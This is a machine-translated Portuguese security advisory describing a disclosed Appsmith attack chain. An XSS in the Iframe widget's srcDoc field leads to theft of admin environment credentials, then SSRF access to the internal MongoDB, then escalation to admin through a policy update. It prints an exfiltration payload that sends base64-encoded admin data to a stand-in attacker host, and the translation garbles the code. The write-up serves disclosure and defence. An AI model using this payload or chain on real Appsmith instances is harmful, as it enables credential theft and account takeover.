Voltar
Vulnerability Intelligence
Tabela de conteúdo

Autores: Sparsh Kulshrestha e Shashank Bharthwal
Editora: Deepanjli Paulraj

Sumário executivo

AMEAÇAIMPACTOMITIGAÇÃO
  • Várias vulnerabilidades no Appsmith (que agora foram corrigidos) pode ser corrirentado para obter a aquisição completa da conta de administrador com um clique.
  • Os invasores podem primeiro explorar uma vulnerabilidade do XSS para roubar credenciais internas do MongoDB e, em seguida, explorar uma vulnerabilidade do SSRF para se conectar ao MongoDB interno.
  • A vulnerabilidade do XSS expõe tokens de autenticação e credenciais confidenciais no arquivo “/api/v1/admin/env” da conta do administrador.
  • Usando as credenciais roubadas, a vulnerabilidade do SSRF pode ser explorada para executar consultas de inserção/atualização/exclusão no banco de dados interno.
  • Mantenha uma lista branca de domínios ou endereços que seu aplicativo acessa.
  • As vulnerabilidades raiz dessa cadeia (CVE-2022-38298 e CVE-2022-38299) foram corrigidas pelo Appsmith.
  • Atualizar para versões 1.7.12 e superiores.

Prova de conceito

Exfiltração de dados por meio de XSS

Ao navegar pelos diferentes widgets disponíveis no Appsmith, encontramos um widget chamado Iframe. Usando esse widget, os usuários podem inserir iframes com URLs arbitrários e srcDoc em seus painéis do Appsmith. Observamos que o campo denominado SRCDoc é vulnerável ao XSS.

XSS in srcDoc field
XSS no campo srcDoc

O XSS poderia ter sido usado para roubar cookies de sessão do administrador, mas os cookies de sessão foram marcados como HttpOnly e, portanto, não podem ser acessados via Javascript.

Session cookies
Cookies de sessão

Embora não tenhamos conseguido acessar os cookies, conseguimos usar um iframe para pesquisar conteúdo confidencial de um endpoint de API ao qual somente os administradores têm acesso. Um desses endpoints era “/api/v1/admin/env”, que contém as variáveis de ambiente do Appsmith, incluindo credenciais relacionadas à infraestrutura. Qualquer outro usuário além do administrador não pode acessar o endpoint.

Environment endpoint not accessible only to the admin
O endpoint do ambiente não está acessível apenas ao administrador

Como temos a capacidade de injetar um iframe e executar javascript arbitrariamente, o administrador pode ser induzido a carregar o iframe com sucesso, permitindo que o javascript acesse o conteúdo do iframe.

Como prova de conceito, o código a seguir foi injetado no campo srcDoc para inserir um iframe que carrega o endpoint do ambiente administrativo e busca o conteúdo do iframe assim que ele termina de carregar. Depois que os dados são exfiltrados, eles são enviados para o VPS do invasor, onde podem ser decodificados.

<html>
<head>
<script>
função fetchContent () {
var content = document.getElementById (“adminData”) .contentDocument.body.getElementsByTagName (“pre”) .innerHTML;
Conteúdo codificado em B64 = btoa (conteúdo);
<attackers_ip:port>document.location = “http:///exfiltrar? data =” +conteúdo codificado em B64;
}
</script>
</head>
<body>
<p>Explorar</p>
<iframe id=” adminData” src=” /api/v1/admin/env” onload=” fetchContent ();” >
</iframe>
</body>
</html>

Código de exploração para injeção de iframe e exfiltração de dados

Quando o exploit estiver pronto, ele precisará ser publicado para que outros usuários possam acessá-lo. Isso pode ser feito tornando público o painel do Appsmith e pode ser acessado por qualquer pessoa.

Sharing the malicious dashboard
Compartilhando o painel malicioso

Depois que o painel é publicado e está disponível ao público por meio de um link, o link é enviado ao administrador. Assim que o administrador clica no link e visualiza o painel, o iframe do endpoint confidencial é carregado. Em seguida, o javascript rouba o conteúdo do iframe e o envia para o atacante. Veja como os dados são recebidos pelo atacante quando o administrador visita o painel malicioso.

Data exfiltration on the attacker’s end
Exfiltração de dados por parte do atacante

Agora, esses dados codificados em base64 podem ser decodificados pelo atacante executando o seguinte comando:

$ echo “<base64_encoded_data>” | base64 — decodificar

Decoded credentials
Credenciais decodificadas

As credenciais decodificadas do MongoDB podem ser usadas para investigação e exploração adicionais.

Acesso interno ao MongoDB via SSRF

Com base em nossos testes anteriores no Appsmith, sabemos que existem proteções que restringem o acesso aos metadados internos das instâncias de nuvem, mas não há restrições no host local. Além disso, o Appsmith tem um recurso que permite aos usuários conectar o MongoDB como fonte de dados.

Em seguida, verificamos se essa funcionalidade pode ser usada para se conectar ao MongoDB interno em execução no localhost. Isso foi feito preenchendo os detalhes de conexão e autenticação obtidos anteriormente no formulário, o que permite que os usuários se conectem ao MongoDB como fonte de dados.

Connecting to Internal MongoDB
Conectando-se ao MongoDB interno

Ao clicar na opção “Salvar”, a fonte de dados foi adicionada com sucesso. Depois disso, podemos visualizar todas as coleções no banco de dados do Appsmith, na interface do usuário.

Collections in the internal MongoDB
Coleções no MongoDB interno

Escalando privilégios para o administrador

Para cada uma dessas coleções, foi possível executar as seguintes consultas de banco de dados

  • INSERIR
  • ATUALIZAR
  • DELETAR
  • ENCONTRAR

De todas as coleções, a chamada “Usuários” contém os detalhes de todos os usuários da plataforma.

Nesse estágio, existem várias maneiras de aumentar os privilégios para um administrador. É possível até mesmo modificar o hash da senha do usuário administrador ou adicionar políticas administrativas ao nosso usuário. Prosseguimos buscando as políticas administrativas do MongoDB, usando o comando FIND.

Fetching the policies for Admin User
Buscando políticas para o usuário administrador

Descobrimos que a conta do administrador tem as seguintes políticas associadas a ela.

“políticas”:,
“permissão”: “Gerenciar: UserWorkspace”,
“usuários”:
},
{
“grupos”: [],
“permissão”: “Leia: UserWorkspace”,
“usuários”:
},
{
“grupos”: [],
“permissão”: “leitura: usuários”,
“usuários”:
},
{
“grupos”: [],
“permissão”: “gerenciar: usuários”,
“usuários”:
},
{
“grupos”: [],
“permissão”: “gerenciar: instanceenv”,
“usuários”:
}
]

Em seguida, usando o comando update, atualizamos as políticas atribuídas ao nosso usuário com as políticas administrativas. Ao clicar em “EXECUTAR”, obtivemos uma resposta bem-sucedida do MongoDB.

Updating the policies of our user using the UPDATE command
Atualizando as políticas do nosso usuário usando o comando UPDATE

Validação

Para validar a vulnerabilidade, acessamos nossa conta de usuário por meio de um navegador diferente e descobrimos que ela tinha acesso a todas as funcionalidades e permissões administrativas para gerenciar usuários, espaços de trabalho e instâncias.

Admin settings are accessible by our user
As configurações do administrador podem ser acessadas pelo nosso usuário

Tentamos acessar o endpoint, ou seja, “/api/v1/admin/env”, que é somente para administradores, e obtivemos uma resposta do servidor com sucesso.

Able to access admin-only endpoint
Capaz de acessar um endpoint exclusivo para administradores

Impacto

Os invasores podem primeiro explorar a vulnerabilidade do XSS para roubar credenciais internas do MongoDB e, em seguida, uma vulnerabilidade SSRF pode ser explorada para se conectar ao MongoDB interno para executar consultas de banco de dados e obter a aquisição total da conta ou o aumento de privilégios.

Além disso, o Appsmith não tem uma restrição de inscrição na instalação padrão. Portanto, se uma instância do Appsmith for exposta à Internet, qualquer pessoa poderá se inscrever e ter acesso à funcionalidade vulnerável na qual a vulnerabilidade do SSRF foi descoberta.

Isso pode ter um impacto em grande escala, já que mais de 1.000 instâncias do Appsmith estão expostas na Internet:

Shodan results for public Appsmith instances
Resultados do Shodan para instâncias públicas do Appsmith

Mitigação

  • As vulnerabilidades raiz dessa cadeia (CVE-2022-38298 e CVE-2022-38299) foram corrigidas pelo Appsmith
  • Mantenha uma lista branca de domínios ou endereços que seu aplicativo acessa
  • Atualizar para versões 1.7.12 e superiores.

Divulgação responsável

A CloudSEK enviou essa vulnerabilidade ao Appsmith por meio de seu processo bem definido de divulgação de vulnerabilidades. Posteriormente, a equipe do Appsmith corrigiu esse problema em sua próxima versão. As versões 1.7.12 e superiores do Appsmith não têm essa vulnerabilidade.

Referências

Nenhum item encontrado.

Blogs relacionados